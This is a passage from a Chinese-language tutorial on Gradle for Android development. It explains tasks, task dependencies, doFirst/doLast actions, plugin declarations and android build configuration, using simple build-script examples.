
    implementation 'androidx.appcompat:appcompat:1.4.2'

    implementation 'com.google.android.material:material:1.6.1'

}

Gradle 的任务

Gradle 的任务是构建过程的基本单元，每个任务都有一个名称和一个动作。Gradle 内置了很多任务，例如编译代码、运行测试、打包应用程序等。我们也可以根据需要自定义任务。

Gradle 的任务由以下三个部分组成：

1. 
   

   任务名称：任务的唯一标识符，通常由一个或多个单词组成，例如 build、assembleDebug 等。

   
   


2. 
   

   任务依赖项：任务依赖于其他任务，可以使用 dependsOn() 方法指定任务依赖项，例如：

   
   

task myTask {

     dependsOn otherTask

     doLast {

         println 'myTask executed'

     }

}

上面的示例中，myTask 任务依赖于 otherTask 任务，即在执行 myTask 之前需要先执行 otherTask。

3. 
   

   任务动作：任务要执行的操作，可以使用 doFirst() 和 doLast() 方法指定任务动作，例如：

   
   

task myTask {

    doFirst {

        println 'myTask starting'

    }

    doLast {

        println 'myTask executed'

    }

}

上面的示例中，myTask 任务在执行前会先打印一条消息，然后执行任务动作，执行完毕后再打印一条消息。

Gradle 的插件

Gradle 的插件是用于扩展 Gradle 功能的组件，每个插件都提供一组任务和依赖项，用于构建应用程序或库模块。Gradle 中有很多插件，例如 Android 应用程序插件、Java 库插件等。我们也可以根据需要自定义插件。

Gradle 的插件由以下两个部分组成：

1. 插件声明：用于声明插件及其依赖项，例如：

plugins {

    id 'com.android.application' version '7.1.3'

}

上面的示例中，声明了 Android 应用程序插件及其依赖项。

2. 插件配置：用于配置插件的行为和属性，例如：

android {

    compileSdkVersion 31

    defaultConfig {

        applicationId "com.example.myapp"

        minSdkVersion 21

        targetSdkVersion 31

        versionCode 1

        versionName "1.0"

    }

    buildTypes {

        release {

            minifyEnabled false

            proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'

        }

    }

}

上面的示例中，配置了 Android 应用程序插件的属性，例如编译版本、应用程序 ID、最小 SDK 版本等。

总结

本文介绍了 Android 开发中需要了解的一些 Gradle 知识，包括 Gradle 的基本概念、构建脚本、任务和插件等。

Gradle 是一个功能强大的构建工具，通过掌握 Gradle 的基本概念、构建脚本、任务和插件等知识，可以更好地理解和使用 Gradle，从而提高 Android 应用程序的开发效率和质量。

需要注意的是，Gradle 是一项非常庞大和复杂的技术，本文仅对其中一些基本概念和知识进行了介绍，对于更深入和复杂的问题，需要通过进一步的学习和实践来掌握和解决。